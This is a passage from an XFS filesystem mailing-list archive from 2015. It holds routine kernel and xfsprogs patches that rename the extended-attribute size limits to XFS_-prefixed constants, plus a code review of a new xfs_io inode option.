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 --0OAP2g/MAC+5xKAE-- From cmaiolino@redhat.com Wed Oct 7 03:06:40 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 885757F4E for ; Wed, 7 Oct 2015 03:06:40 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id EFCEDAC005 for ; Wed, 7 Oct 2015 01:06:36 -0700 (PDT) X-ASG-Debug-ID: 1444205194-04cb6c578b10de0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id q2VePny0tnmUG8c7 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Wed, 07 Oct 2015 01:06:35 -0700 (PDT) X-Barracuda-Envelope-From: cmaiolino@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (Postfix) with ESMTPS id A32434AD5F for ; Wed, 7 Oct 2015 08:06:34 +0000 (UTC) Received: from redhat.com (dhcp-26-103.brq.redhat.com [10.34.26.103]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9786T1b004813 (version=TLSv1/SSLv3 cipher=AES256-SHA bits=256 verify=NO); Wed, 7 Oct 2015 04:06:32 -0400 Date: Wed, 7 Oct 2015 10:06:28 +0200 From: Carlos Maiolino To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [PATCH 2/3] xfs_io: add inode -l argument to return largest inode number Message-ID: <20151007080628.GA8866@redhat.com> X-ASG-Orig-Subj: Re: [PATCH 2/3] xfs_io: add inode -l argument to return largest inode number Mail-Followup-To: Brian Foster , xfs@oss.sgi.com References: <1443186467-20110-1-git-send-email-cmaiolino@redhat.com> <1443186467-20110-3-git-send-email-cmaiolino@redhat.com> <20151006170039.GC63205@bfoster.bfoster> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20151006170039.GC63205@bfoster.bfoster> User-Agent: Mutt/1.5.23 (2014-03-12) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444205195 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Tue, Oct 06, 2015 at 01:00:39PM -0400, Brian Foster wrote: > On Fri, Sep 25, 2015 at 03:07:46PM +0200, Carlos Maiolino wrote: > > Implements '-l' argument in inode command, returning to the user, the largest > > inode allocated and used in the filesystem. > > > > Signed-off-by: Carlos Maiolino > > --- > > io/open.c | 18 +++++++++++++----- > > 1 file changed, 13 insertions(+), 5 deletions(-) > > > > diff --git a/io/open.c b/io/open.c > > index 6a794ba..57ff0bf 100644 > > --- a/io/open.c > > +++ b/io/open.c > > @@ -759,6 +759,7 @@ inode_help(void) > > "\n" > > "Query physical information about the inode" > > "\n" > > +" -l -- Returns the largest inode number in the filesystem\n" > > " -s -- Returns the physical size (in bits) of the\n" > > " largest inode number in the filesystem\n" > > "\n")); > > @@ -777,23 +778,27 @@ inode_f( > > struct xfs_fsop_bulkreq bulkreq; > > int c; > > int ret_lsize = 0; > > + int ret_largest = 0; > > > > bulkreq.lastip = &last; > > bulkreq.icount = 1024; /* maybe an user-defined value!? */ > > bulkreq.ubuffer = &igroup; > > bulkreq.ocount = &count; > > > > - while ((c = getopt(argc, argv, "s")) != EOF) { > > + while ((c = getopt(argc, argv, "sl")) != EOF) { > > switch (c) { > > case 's': > > ret_lsize = 1; > > break; > > + case 'l': > > + ret_largest = 1; > > + break; > > default: > > return command_usage(&inode_cmd); > > } > > } > > > > - if (ret_lsize) { > > + if (ret_lsize || ret_largest) { > > for (;;) { > > if (xfsctl(file->name, file->fd, XFS_IOC_FSINUMBERS, > > &bulkreq)) { > > @@ -811,8 +816,11 @@ inode_f( > > lastino = igroup[lastgrp].xi_startino + > > xfs_highbit64(igroup[lastgrp].xi_allocmask); > > > > - printf (_("Largest inode size: %d\n"), > > - lastino > XFS_MAXINUMBER_32 ? 64 : 32); > > + if (ret_lsize) > > + printf (_("Largest inode size: %d\n"), > > + lastino > XFS_MAXINUMBER_32 ? 64 : 32); > > + else > > + printf(_("Largest inode: %llu\n"), lastino); > > Hmm, do we need the -s option if we have -l to print the actual largest > inode number? > Well, I understand your question, my point here was to implement the options Dave suggested, but I'm not sure if he had in mind anything else that checking the return value size of -l would not work as -s argument. > Brian > > > > > } > > > > @@ -887,7 +895,7 @@ open_init(void) > > > > inode_cmd.name = "inode"; > > inode_cmd.cfunc = inode_f; > > - inode_cmd.args = _("[-s]"); > > + inode_cmd.args = _("[-s | -l]"); > > inode_cmd.argmin = 1; > > inode_cmd.argmax = 1; > > inode_cmd.flags = CMD_NOMAP_OK; > > -- > > 2.4.3 > > > > _______________________________________________ > > xfs mailing list > > xfs@oss.sgi.com > > http://oss.sgi.com/mailman/listinfo/xfs -- Carlos From jtulak@redhat.com Wed Oct 7 06:08:18 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id CFF717F77 for ; Wed, 7 Oct 2015 06:08:18 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 0F28AAC009 for ; Wed, 7 Oct 2015 04:08:17 -0700 (PDT) X-ASG-Debug-ID: 1444216093-04cb6c578a14ab0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id WQheGmzzAFCa8SbH (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Wed, 07 Oct 2015 04:08:13 -0700 (PDT) X-Barracuda-Envelope-From: jtulak@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (Postfix) with ESMTPS id 0F4A68EA21 for ; Wed, 7 Oct 2015 11:08:13 +0000 (UTC) Received: from jtulak-t430.brq.redhat.com. (jtulak.brq.redhat.com [10.34.26.85]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t97B8BIc023803; Wed, 7 Oct 2015 07:08:12 -0400 From: Jan Tulak To: xfs@oss.sgi.com Cc: Jan Tulak Subject: [PATCH 0/2] xfs: prefix two XATTR_ names with XFS_ Date: Wed, 7 Oct 2015 13:07:49 +0200 X-ASG-Orig-Subj: [PATCH 0/2] xfs: prefix two XATTR_ names with XFS_ Message-Id: <1444216071-6281-1-git-send-email-jtulak@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444216093 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 This set introduces renaming of XATTR_LIST_MAX and XATTR_SIZE_MAX to XFS_XATTR_... to make it the same as in xfsprogs. See specific patches for reasoning. Jan Tulak (2): xfs: prefix XATTR_LIST_MAX with XFS_ xfs: avoid dependency on Linux XATTR_SIZE_MAX fs/xfs/libxfs/xfs_attr_remote.c | 2 +- fs/xfs/libxfs/xfs_format.h | 10 +++++++++- fs/xfs/libxfs/xfs_fs.h | 10 ++++++++++ fs/xfs/xfs_ioctl.c | 6 +++--- fs/xfs/xfs_ioctl32.c | 2 +- 5 files changed, 24 insertions(+), 6 deletions(-) -- 2.4.3 From jtulak@redhat.com Wed Oct 7 06:10:53 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 8F81B7F85 for ; Wed, 7 Oct 2015 06:10:53 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 6E1038F8033 for ; Wed, 7 Oct 2015 04:10:50 -0700 (PDT) X-ASG-Debug-ID: 1444216249-04bdf020db164a0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 1YqxCyDDHSen5ERm (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Wed, 07 Oct 2015 04:10:49 -0700 (PDT) X-Barracuda-Envelope-From: jtulak@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (Postfix) with ESMTPS id 3E622341AC4 for ; Wed, 7 Oct 2015 11:10:49 +0000 (UTC) Received: from jtulak-t430.brq.redhat.com. (jtulak.brq.redhat.com [10.34.26.85]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t97BAlJn025059; Wed, 7 Oct 2015 07:10:48 -0400 From: Jan Tulak To: xfs@oss.sgi.com Cc: Jan Tulak Subject: [PATCH 1/2] xfs: prefix XATTR_LIST_MAX with XFS_ Date: Wed, 7 Oct 2015 13:10:36 +0200 X-ASG-Orig-Subj: [PATCH 1/2] xfs: prefix XATTR_LIST_MAX with XFS_ Message-Id: <1444216236-6354-1-git-send-email-jtulak@redhat.com> In-Reply-To: <1444216071-6281-1-git-send-email-jtulak@redhat.com> References: <1444216071-6281-1-git-send-email-jtulak@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444216249 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Remove a hard dependency of Linux XATTR_LIST_MAX value by using a prefixed version. This patch reflects the same change in xfsprogs. Signed-off-by: Jan Tulak --- fs/xfs/libxfs/xfs_fs.h | 10 ++++++++++ fs/xfs/xfs_ioctl.c | 2 +- fs/xfs/xfs_ioctl32.c | 2 +- 3 files changed, 12 insertions(+), 2 deletions(-) diff --git a/fs/xfs/libxfs/xfs_fs.h b/fs/xfs/libxfs/xfs_fs.h index 89689c6..b2b73a9 100644 --- a/fs/xfs/libxfs/xfs_fs.h +++ b/fs/xfs/libxfs/xfs_fs.h @@ -490,6 +490,16 @@ typedef struct xfs_swapext #define XFS_FSOP_GOING_FLAGS_NOLOGFLUSH 0x2 /* don't flush log nor data */ /* + * ioctl limits + */ +#ifdef XATTR_LIST_MAX +# define XFS_XATTR_LIST_MAX XATTR_LIST_MAX +#else +# define XFS_XATTR_LIST_MAX 65536 +#endif + + +/* * ioctl commands that are used by Linux filesystems */ #define XFS_IOC_GETXFLAGS FS_IOC_GETFLAGS diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c index ea7d85a..0e692a6 100644 --- a/fs/xfs/xfs_ioctl.c +++ b/fs/xfs/xfs_ioctl.c @@ -411,7 +411,7 @@ xfs_attrlist_by_handle( if (copy_from_user(&al_hreq, arg, sizeof(xfs_fsop_attrlist_handlereq_t))) return -EFAULT; if (al_hreq.buflen < sizeof(struct attrlist) || - al_hreq.buflen > XATTR_LIST_MAX) + al_hreq.buflen > XFS_XATTR_LIST_MAX) return -EINVAL; /* diff --git a/fs/xfs/xfs_ioctl32.c b/fs/xfs/xfs_ioctl32.c index b88bdc8..1a05d8a 100644 --- a/fs/xfs/xfs_ioctl32.c +++ b/fs/xfs/xfs_ioctl32.c @@ -356,7 +356,7 @@ xfs_compat_attrlist_by_handle( sizeof(compat_xfs_fsop_attrlist_handlereq_t))) return -EFAULT; if (al_hreq.buflen < sizeof(struct attrlist) || - al_hreq.buflen > XATTR_LIST_MAX) + al_hreq.buflen > XFS_XATTR_LIST_MAX) return -EINVAL; /* -- 2.4.3 From jtulak@redhat.com Wed Oct 7 06:11:07 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A977C29DF6 for ; Wed, 7 Oct 2015 06:11:07 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 937088F8033 for ; Wed, 7 Oct 2015 04:11:07 -0700 (PDT) X-ASG-Debug-ID: 1444216266-04cbb03f1414ee0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id nGlKM3Uj6ioxzd6Z (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Wed, 07 Oct 2015 04:11:06 -0700 (PDT) X-Barracuda-Envelope-From: jtulak@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx14.intmail.prod.int.phx2.redhat.com (int-mx14.intmail.prod.int.phx2.redhat.com [10.5.11.27]) by mx1.redhat.com (Postfix) with ESMTPS id 23D7A319AD1 for ; Wed, 7 Oct 2015 11:11:06 +0000 (UTC) Received: from jtulak-t430.brq.redhat.com. (jtulak.brq.redhat.com [10.34.26.85]) by int-mx14.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t97BB4V8031584; Wed, 7 Oct 2015 07:11:05 -0400 From: Jan Tulak To: xfs@oss.sgi.com Cc: Jan Tulak Subject: [PATCH 2/2] xfs: avoid dependency on Linux XATTR_SIZE_MAX Date: Wed, 7 Oct 2015 13:11:02 +0200 X-ASG-Orig-Subj: [PATCH 2/2] xfs: avoid dependency on Linux XATTR_SIZE_MAX Message-Id: <1444216262-6409-1-git-send-email-jtulak@redhat.com> In-Reply-To: <1444216071-6281-1-git-send-email-jtulak@redhat.com> References: <1444216071-6281-1-git-send-email-jtulak@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.27 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444216266 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Currently, we depends on Linux XATTR value for on disk definition. Which causes trouble on other platforms and maybe also if this value was to change. Fix it by creating a custom definition independent from those in Linux (although with the same values), so it is OK with the be16 fields used for holding these attributes. This patch reflects a change in xfsprogs. Signed-off-by: Jan Tulak --- fs/xfs/libxfs/xfs_attr_remote.c | 2 +- fs/xfs/libxfs/xfs_format.h | 10 +++++++++- fs/xfs/xfs_ioctl.c | 4 ++-- 3 files changed, 12 insertions(+), 4 deletions(-) diff --git a/fs/xfs/libxfs/xfs_attr_remote.c b/fs/xfs/libxfs/xfs_attr_remote.c index f38f9bd..5ab95ff 100644 --- a/fs/xfs/libxfs/xfs_attr_remote.c +++ b/fs/xfs/libxfs/xfs_attr_remote.c @@ -107,7 +107,7 @@ xfs_attr3_rmt_verify( if (be32_to_cpu(rmt->rm_bytes) > fsbsize - sizeof(*rmt)) return false; if (be32_to_cpu(rmt->rm_offset) + - be32_to_cpu(rmt->rm_bytes) > XATTR_SIZE_MAX) + be32_to_cpu(rmt->rm_bytes) > XFS_XATTR_SIZE_MAX) return false; if (rmt->rm_owner == 0) return false; diff --git a/fs/xfs/libxfs/xfs_format.h b/fs/xfs/libxfs/xfs_format.h index 9590a06..8568de1 100644 --- a/fs/xfs/libxfs/xfs_format.h +++ b/fs/xfs/libxfs/xfs_format.h @@ -60,6 +60,14 @@ struct xfs_ifork; #define XFS_SB_VERSION_MOREBITSBIT 0x8000 /* + * The size of a single extended attribute on disk is limited by + * the size of index values within the attribute entries themselves. + * These are be16 fields, so we can only support attribute data + * sizes up to 2^16 bytes in length. + */ +#define XFS_XATTR_SIZE_MAX (1 << 16) + +/* * Supported feature bit list is just all bits in the versionnum field because * we've used them all up and understand them all. Except, of course, for the * shared superblock bit, which nobody knows what it does and so is unsupported. @@ -1483,7 +1491,7 @@ struct xfs_acl { */ #define XFS_ACL_MAX_ENTRIES(mp) \ (xfs_sb_version_hascrc(&mp->m_sb) \ - ? (XATTR_SIZE_MAX - sizeof(struct xfs_acl)) / \ + ? (XFS_XATTR_SIZE_MAX - sizeof(struct xfs_acl)) / \ sizeof(struct xfs_acl_entry) \ : 25) diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c index 0e692a6..9963f7c 100644 --- a/fs/xfs/xfs_ioctl.c +++ b/fs/xfs/xfs_ioctl.c @@ -455,7 +455,7 @@ xfs_attrmulti_attr_get( unsigned char *kbuf; int error = -EFAULT; - if (*len > XATTR_SIZE_MAX) + if (*len > XFS_XATTR_SIZE_MAX) return -EINVAL; kbuf = kmem_zalloc_large(*len, KM_SLEEP); if (!kbuf) @@ -485,7 +485,7 @@ xfs_attrmulti_attr_set( if (IS_IMMUTABLE(inode) || IS_APPEND(inode)) return -EPERM; - if (len > XATTR_SIZE_MAX) + if (len > XFS_XATTR_SIZE_MAX) return -EINVAL; kbuf = memdup_user(ubuf, len); -- 2.4.3 From jtulak@redhat.com Wed Oct 7 06:17:19 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 3CE617F78 for ; Wed, 7 Oct 2015 06:17:19 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id ABFE6AC006 for ; Wed, 7 Oct 2015 04:17:18 -0700 (PDT) X-ASG-Debug-ID: 1444216637-04cb6c578614e00001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 1DGFXuTzzCLyrsiE (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Wed, 07 Oct 2015 04:17:17 -0700 (PDT) X-Barracuda-Envelope-From: jtulak@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (Postfix) with ESMTPS id 157E7C0BE061; Wed, 7 Oct 2015 11:17:16 +0000 (UTC) Received: from jtulak-t430.brq.redhat.com. (jtulak.brq.redhat.com [10.34.26.85]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t97BHFjU021976; Wed, 7 Oct 2015 07:17:16 -0400 From: Jan Tulak To: xfs@oss.sgi.com Cc: david@fromorbit.com, Jan Tulak Subject: [PATCH 04/14 v2] xfsprogs: prefix XATTR_LIST_MAX with XFS_ Date: Wed, 7 Oct 2015 13:17:12 +0200 X-ASG-Orig-Subj: [PATCH 04/14 v2] xfsprogs: prefix XATTR_LIST_MAX with XFS_ Message-Id: <1444216632-6520-1-git-send-email-jtulak@redhat.com> In-Reply-To: <1442311164-12921-5-git-send-email-jtulak@redhat.com> References: <1442311164-12921-5-git-send-email-jtulak@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444216637 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 UPDATE: - moved define from include/xfs.h to libxfs/xfs_fs.h As we depends on XATTR_ value that is available only on some platforms, prefix it with XFS_ and allow for an alternative value in future. Signed-off-by: Jan Tulak --- libhandle/handle.c | 4 ++-- libhandle/jdm.c | 4 ++-- libxfs/xfs_fs.h | 9 +++++++++ 3 files changed, 13 insertions(+), 4 deletions(-) diff --git a/libhandle/handle.c b/libhandle/handle.c index b1c0c10..7207186 100644 --- a/libhandle/handle.c +++ b/libhandle/handle.c @@ -397,8 +397,8 @@ attr_list_by_handle( alhreq.buffer = buf; alhreq.buflen = bufsize; /* prevent needless EINVAL from the kernel */ - if (alhreq.buflen > XATTR_LIST_MAX) - alhreq.buflen = XATTR_LIST_MAX; + if (alhreq.buflen > XFS_XATTR_LIST_MAX) + alhreq.buflen = XFS_XATTR_LIST_MAX; error = xfsctl(path, fd, XFS_IOC_ATTRLIST_BY_HANDLE, &alhreq); diff --git a/libhandle/jdm.c b/libhandle/jdm.c index d804423..e52f5d8 100644 --- a/libhandle/jdm.c +++ b/libhandle/jdm.c @@ -168,8 +168,8 @@ jdm_attr_list( jdm_fshandle_t *fshp, int rval; /* prevent needless EINVAL from the kernel */ - if (bufsz > XATTR_LIST_MAX) - bufsz = XATTR_LIST_MAX; + if (bufsz > XFS_XATTR_LIST_MAX) + bufsz = XFS_XATTR_LIST_MAX; jdm_fill_filehandle( &filehandle, fshandlep, statp ); rval = attr_list_by_handle (( void * )&filehandle, diff --git a/libxfs/xfs_fs.h b/libxfs/xfs_fs.h index 89689c6..3a86d7d 100644 --- a/libxfs/xfs_fs.h +++ b/libxfs/xfs_fs.h @@ -490,6 